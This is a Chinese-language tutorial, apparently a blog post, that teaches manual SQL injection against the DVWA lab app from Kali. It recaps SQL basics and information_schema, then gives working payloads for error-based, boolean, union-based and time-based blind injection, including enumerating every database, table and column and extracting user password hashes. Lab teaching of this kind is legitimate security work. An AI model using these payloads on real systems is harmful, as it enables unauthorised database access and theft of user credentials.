文章目录
在owasp年度top10安全问题中,注入高居榜首SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里面的一些组合,通过执行SQL语句而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据入侵系统。
(1)对于web应用程序而言,用户核心数据存储在数据库中,例如MySQL,SQL,Oracle;
(2)通过SQL注入攻击,可以获取,修改,删除数据库信息,并且通过提权来控制web服务器等其他操作。
(3)SQL注入即攻击者通过构造特殊的SQL语句,入侵目标系统,致使后台数据库泄露数据的过程。
(4)因为SQL注入造成严重的危害性,所以常居OWASP TOP10的榜首。
1. 实验环境
目标靶机:OWASP_Broken_Web_Apps_VM_1.2
测试渗透机:Kali-Linux-2020.4-vmware-amd64
2. SQL注入的危害
(1)拖库导致用户数据泄露
(2)危害web等应用的安全
(3)失去操作系统的控制权
(4)用户信息被非法买卖
(5)危害企业及国家的安全
3. SQL语句基础回顾
SQL包含四种语言:
(1)数据定义语言(DDL)
数据定义语言(Data Definition Language,DDL)是SQL语言中负责数据结构定义与数据库对象定义的语言,由CREATE(创建库、表)、ALTER(添加、修改、删除字段)、DROP(删除库、表)。
(2)数据操作语言(DML)
数据操作语言(Data Manipulation Language),用户通过它来实现对数据库的基本操作。如,对表中数据的查询、插入、删除、修改。
(3)数据查询语言(DQL)
SELECT语句
(4)数据控制语言(DCL)
数据控制语言(Data Control Language)是用来设置或者更改数据库用户或者角色权限的语句,这些语句包括,grant、deny、revoke等语句。
下面举例一些常见的操作:
show databases; ##查看所有的库
select database(); ##利用database()函数查看当前所在的库
select user(); ##使用user()函数查看当前所在的用户
select now(); ##使用now()函数查看当前的时间
use dvwa; ##使用(进入)dvwa这个数据库中
select database(); ##利用database()函数来查看当前所在的库
show tables; ##查看当前库中的所有数据表
desc users: ##查看users这个表的结构,其中Field表示字段,Type表示字段的类型
show create table users; ##也可以使用这种方式来查看表的结构
DESC users; ##查看表的结构
select user,password from users; ##从users表中查看指定的user和password字段值
select user,password avatar from users; ##和上对比来看,当查询字段时,字段是用逗号隔开的,当俩字段没有用逗号隔开,则后面字段做前面字段的别名,及这里的password as avatar
前面都是一些简单的查询,现在我们再来看一下条件查询:
select user,password from mysql.user where user='root'; ##这里指从mysql库user表里面挑选出user为'root'的行,并显示这些行中的user、password字段。
【注意】:条件语句中,user=‘root’,如果root不加引号它代表着字段,通常用于连接俩个表,如A.user=B.user;如果root加了引号,代表root字符串。
4. SQL注入原理
4.1 通过or或者and构建新的简单SQL语句
这里我们先来看一下dvwa库的内容
select database(); ##查看一下当前在那个库下
show tables; ##查看当前库下的所有表
desc users; ##查看users表的结构
select user_id,first_name,last_name from users where user_id=10; ##指定条件为user_id=10下获取相应字段
select user_id,first_name,last_name from users where user_id=10 or 1=1; ##使用or来增加条件,使条件永远为真。
从上面可以看到,即使我们不能改变网站的数据库原SQL语句,但是我们也可以通过添加or 或者and条件来构造新的SQL语句,从而来达到目的,当然这里我们只是简单获取了指定字段以及指定表对应的所有值。
4.2 利用联合查询union
select user_id,first_name,last_name from dvwa.users; ##查询dvwa.users表
select user,password,host from mysql.user; ##查询mysql.user表
select user_id,first_name.last_name from dvwa.users union select user,password,host from mysql.user limit 8; ##使用union联合上面俩个表,limit8表示只查看结果中的前八行。
从上面联合结果知,所有字段都是以前面查询语句为标准,后面的查询语句值紧跟其后。
select user_id,first_name.last_name from dvwa.users union select user,password from mysql.user limit 8; ##将mysql.user表的字段设置为2个
从上看到当联合字段数不一致时报错。当不知道前面SQL语句的字段数时,我们可以一一尝试,用数字来做字段(任意数字都可以做字段)。如下:
select user_id,first_name.last_name from dvwa.users union select user,password,1 from mysql.user limit 8;
同时我们可以添加where 1=2条件,可以不要前面的结果,只获取想要的表中的值:
select user_id,first_name,last_name from dvwa.users where 1=2 union select user,password,1 from mysql.user limit 8; ##添加where 1=2条件,可以不要前面的结果,只获取我们想要的表中的值
综上,我们可以看到使用union可以获取其他表的数据内容,但是union有条件,即前面字段数有几个?后面字段有什么?如果字段不够可以用数字来补齐。但是想要获取其他表的数据,我们还是要知道后面表的字段名,但是现在我们连有哪些表?哪些库?都不知道
4.3 information_schema库
information_schema是mysql中自带的一个库,他提供了对元数据、统计信息、以及有关MySQL Server的信息访问(例如:数据库名或表名,字段的类型和访问权限等)。该库中保存的信息也可以称为MySQL的数据字典或系统目录。
相关详细信息查看:http://blog.itpub.net/26736162/viewspace-2651253/
use information_schema ##进入该库
select database(); ##查看当前所在库
show tables; ##查看该库的所有表
information_schema库中有俩个重要的表,一个是TABLES表,另一个是COLUMNS。
TABLES表用于查询所有数据库库名,以及所有库对应的所有表名。
desc information_schema.tables ##查看tables表的结构
其中TABLE_SCHEMA字段表示库名,TABLE_NAME表示表名。
select TABLE_SCHEMA from information_schema ##查询所有的库
select DISTINCT TABLE_SCHEMA FROM information_schema ##查询所有的库并去重
select table_schema,table_name from information_schema.tables\G ##显示所有的库,以及库里的所有表。
select table_schema,group_concat(table_name) from information_schema.tables group by table_schema\G
select table_name from information_schema.tables where table_schema='dvwa'; ##从information.tables表中获取当库为dvwa时的所有表,等价于show tables;
COLUMNS表可以用于查询mysql的所有数据库库名,表名,字段名。
DESC information_schema.columns; ##查询columns表的结构
select * from information_schema.columns limit 1 ; ##查看columns表第一行的所有内容
其中字段TABLE_SCHEMA同样表示库名,TABLE_NAME表示表名,COLUMN_NAME表示字段名。
select column_name from information_schema.columns ##表示从columns表中获取所有的字段
select column_name from information_schema.columns where table_schema='dvwa' and table_name='users'; ##表示从columns表中获取当库为dvwa,表为users的所有字段名。
select column_name from information_schema.columns where table_schema='USER_PRIVILEGES';
select column_name from information_schema.columns where table_schema='SCHEMA_PRIVILEGES';
以上可以通过mysql自带的information_schema元数据库中的tables以及columns表来获取mysql的所有数据库以及相应的所有表,字段名,字段类型等等。
5. SQL注入流程
SQL注入流程:
(1)判断是否有SQL注入漏洞;
(2)判断操作系统、数据库和web应用的类型;
(3)获取数据库信息,包括管理员信息以及拖库;
(4)加密信息破解,sqlmap可自动破解;
(5)提升权限,获得sql-shell 、os-shell、登陆应用后台;
6. 手动注入实战
6.1 基于错误的注入
错误注入的思想是通过构造特殊的sql语句,
根据得到的错误信息,确认sql注入点;
通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。
通过引入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。
我们来看一下dvwa服务器后端源码:
6.2 基于布尔的注入
布尔逻辑注入的思想是闭合SQL语句、构建or和and逻辑语句、注释多余的代码。
上面User ID:处输入值,后端服务器执行的sql命令是:
select first_name,last_name from dvwa.users where user_id=''
当我们利用布尔构造SQL注入语句:’ or 1=1 – he
select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- he ';
【说明】:
第一个 ’ 引号用于闭合前面的条件;
or 1=1 为真的条件;
– 将注释后面的所有语句;
当最后的;分号被注释掉,我们不用自动加;分号,因为当输入值后浏览器会自动为我们加上。
上面我们已经实现获取dvwa的users表的first_name,last_name字段对应的所有值。
6.3 基于union注入
union语句用于联合前面的select查询语句,合并查询更多信息;
一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。
首先猜测前面select查询字段的列数:
' union select 1 -- he
' union select 1,2 -- he
' union select 1,2,3 -- he
' union select 1,2,3.. --he
后端相应的SQL注入语句解析:
select first_name,last_name from dvwa.users where user_id='' union select 1 -- he ';
select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- he ';
select first_name,last_name from dvwa.users where user_id='' union select 1,2,3 -- he ';
当字段数猜测结果正确,显示结果如下:
union还可以结合相应的函数user(),database()来获取当前数据库及用户信息:
' union select version(),database() -- he
' union select user(),database() -- he
后端的相应SQL注入语句解析:
select first_name,last_name from dvwa.users where user_id='' union select version(),database() -- he ';
select first_name,last_name from dvwa.users where user_id='' union select user(),database() -- he ';
前面我们学习了information_schema,他是MySQL自带的库,它提供了访问数据库元数据的方式;元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。
' union select table_schema,1 from information_schema.tables -- he ##
查询所有的库名:
' union select table_name,1 from information_schema.tables -- he ##查询所有库的所有表名
后端的相应SQL注入语句解析:
select first_name,last_name from dvwa.users where user_id='' union select table_schema,1 from information_schema.tables -- he ';
select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from information_schema.tables -- he ';
' union select table_schema,table_name from information_schema.tables -- he ##同时查询所有库及其对应的表名
select first_name,last_name from dvwa.users where user_id='' union select table_schema,table_name from information_schema.tables --he '; ##后端的相应SQL注入语句解析
' union select column_name,1 from information_schema.columns where table_name='users' -- he ##利用information的columns表查询user表对应的所有字段
select first_name,last_name from dvwa.users where user_id='' union select column_name,1 from information_schema.columns where table_name='users' -- he '; ##后端的相应SQL注入语句解析
' union select column_name,1 from information_schema.columns where table_name='user_privileges' -- he ##查询user_privileges表的所有字段
利用concat来合并多个字段:
' union select password,concat(first_name,' ',last_name,' ',user) from users -- he ##合并字段
select first_name,last_name from dvwa.users where '' union select password,concat(first_name,' ' ,last_name,' ' ,user) from users -- he '; ##后端执行的SQL语句
6.4基于时间的盲注
有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点。
他的后端源码:
这种方式当我们使用’ 单引号来探测注入点,后端服务器不会提示错误信息,因此此时用单引号无法判读注入点。此时需要使用sleep来进行时间盲测:
1' and sleep(10) -- he ##当前面语句执行完休眠10秒钟
select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- he '; ##后端服务器执行的SQL语句
如果显示在执行状态,即使最后没有输出任何结果,这也说明我们输入的语句是被执行了。则判断这里存在注入点。